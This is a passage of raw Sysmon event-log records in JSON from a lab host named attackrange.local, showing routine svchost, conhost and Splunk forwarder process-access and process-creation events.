C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1902,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nTargetProcessId: 3924\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","TargetProcessId":"3924","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.946\r\nProcessGuid: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nProcessId: 3904\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00102A390300}\r\nParentProcessId: 3924\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list replication_port --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.946","ProcessGuid":"{90617006-3FE7-5F2D-0000-0010E5390300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 